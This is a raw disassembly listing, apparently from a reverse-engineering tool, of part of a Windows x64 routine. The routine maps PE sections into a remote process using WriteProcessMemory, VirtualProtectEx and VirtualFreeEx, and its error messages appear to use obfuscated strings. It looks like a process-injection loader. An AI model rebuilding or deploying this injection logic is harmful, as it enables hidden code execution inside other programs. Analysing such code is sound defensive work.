mov rcx, rax
call fcn.140006d10
mov qword [rbp + 0x1c8], rax
mov rax, qword [rbp]
mov r8, rax
lea rdx, [rbp + 0x1c8]
lea rcx, [rbp + 0x9f]
call fcn.140003040
mov rax, qword [rbp]
mov eax, dword [rax + 8]
mov rcx, qword [rbp]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rbp + 8]
add rdx, rcx
mov rcx, rdx
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rbp + 0xd0]
mov rdx, rcx
mov rcx, qword [rsp + 0x7a0]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140006200
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0xf4], eax
lea rax, [rbp + 0x59]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x5a]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x5b]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x59]
movzx r8d, byte [rbp + 0x5a]
movzx edx, byte [rbp + 0x5b]
lea rcx, [rbp + 0x480]
call fcn.1400023a0
mov rcx, rax
call fcn.140006d10
mov qword [rbp + 0x1d0], rax
mov rax, qword [rbp]
lea r9, [rbp + 0xf4]
mov r8, rax
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0xa0]
call fcn.140003080
jmp 0x140005ecb
movzx eax, byte [rsp + 0x7c8]
test eax, eax
je 0x140006449
mov rax, qword [rbp + 0x78]
movzx eax, word [rax + 0x14]
mov rcx, qword [rbp + 0x78]
lea rax, [rcx + rax + 0x18]
mov qword [rbp], rax
mov dword [rbp + 0xb4], 0
jmp 0x140006250
mov eax, dword [rbp + 0xb4]
inc eax
mov dword [rbp + 0xb4], eax
mov rax, qword [rbp]
add rax, 0x28
mov qword [rbp], rax
mov rax, qword [rbp + 0xc8]
movzx eax, word [rax + 2]
cmp dword [rbp + 0xb4], eax
je 0x140006408
mov rax, qword [rbp]
cmp dword [rax + 8], 0
je 0x140006403
mov dword [rbp + 0xf8], 0
mov dword [rbp + 0x70], 2
mov rax, qword [rbp]
mov eax, dword [rax + 0x24]
and eax, 0x80000000
test eax, eax
jbe 0x14000629f
mov dword [rbp + 0x70], 4
jmp 0x1400062b6
mov rax, qword [rbp]
mov eax, dword [rax + 0x24]
and eax, 0x20000000
test eax, eax
jbe 0x1400062b6
mov dword [rbp + 0x70], 0x20
mov rax, qword [rbp]
mov eax, dword [rax + 8]
mov rcx, qword [rbp]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rbp + 8]
add rdx, rcx
mov rcx, rdx
lea rdx, [rbp + 0xf8]
mov qword [rsp + 0x20], rdx
mov r9d, dword [rbp + 0x70]
mov r8d, eax
mov rdx, rcx
mov rcx, qword [rsp + 0x7a0]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x140006381
mov rax, qword [rbp]
mov qword [rbp + 0x1d8], rax
lea rax, [rbp + 0x5c]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x5d]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x5e]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x5c]
movzx r8d, byte [rbp + 0x5d]
movzx edx, byte [rbp + 0x5e]
lea rcx, [rbp + 0x4a0]
call fcn.140002420
mov rcx, rax
call fcn.140006d10
mov qword [rbp + 0x1e0], rax
lea r9, [rbp + 0x70]
lea r8, [rbp + 0x1d8]
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0xa1]
call fcn.1400033c0
jmp 0x140006403
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
lea rax, [rbp + 0x5f]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x60]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x61]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x5f]
movzx r8d, byte [rbp + 0x60]
movzx edx, byte [rbp + 0x61]
lea rcx, [rbp + 0x660]
call fcn.1400024a0
mov rcx, rax
call fcn.140006ef0
mov qword [rbp + 0x1f0], rax
lea r9, [rbp + 0x70]
lea r8, [rbp + 0x1e8]
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0xa2]
call fcn.140003360
jmp 0x140006236
mov dword [rbp + 0xfc], 0
mov rax, qword [rbp + 0x78]
movzx eax, word [rax + 0x14]
mov rcx, qword [rbp + 0x78]
mov eax, dword [rcx + rax + 0x24]
lea rcx, [rbp + 0xfc]
mov qword [rsp + 0x20], rcx
mov r9d, 2
mov r8d, eax
mov rdx, qword [rbp + 8]
mov rcx, qword [rsp + 0x7a0]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov qword [rsp + 0x20], 0
mov r9d, 0x1000
mov r8, qword [rbp + 0xd0]
mov rdx, qword [rbp + 0x88]
mov rcx, qword [rsp + 0x7a0]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400064e4
lea rax, [rbp + 0x62]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x63]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x64]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x62]
movzx r8d, byte [rbp + 0x63]
movzx edx, byte [rbp + 0x64]
lea rcx, [rbp + 0x4c0]
call fcn.140002550
mov rcx, rax
call fcn.140006d10
mov qword [rbp + 0x1f8], rax
lea rdx, [rbp + 0x1f8]
lea rcx, [rbp + 0xa3]
call fcn.140002c30
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x88]
mov rcx, qword [rsp + 0x7a0]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test eax, eax
jne 0x140006572
lea rax, [rbp + 0x65]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x66]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x67]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x65]
movzx r8d, byte [rbp + 0x66]
movzx edx, byte [rbp + 0x67]
lea rcx, [rbp + 0x6a0]
call fcn.140002650
mov rcx, rax
call fcn.140006ef0
mov qword [rbp + 0x200], rax
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0xa4]
call fcn.140002d30
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x80]
mov rcx, qword [rsp + 0x7a0]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test eax, eax
jne 0x140006600
lea rax, [rbp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x69]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x6a]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x68]
movzx r8d, byte [rbp + 0x69]
movzx edx, byte [rbp + 0x6a]
lea rcx, [rbp + 0x6e0]
call fcn.140002700
mov rcx, rax
call fcn.140006ef0
mov qword [rbp + 0x208], rax
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0xa5]
call fcn.140002db0
mov al, 1
add rsp, 0x788
pop rdi
pop rbp
ret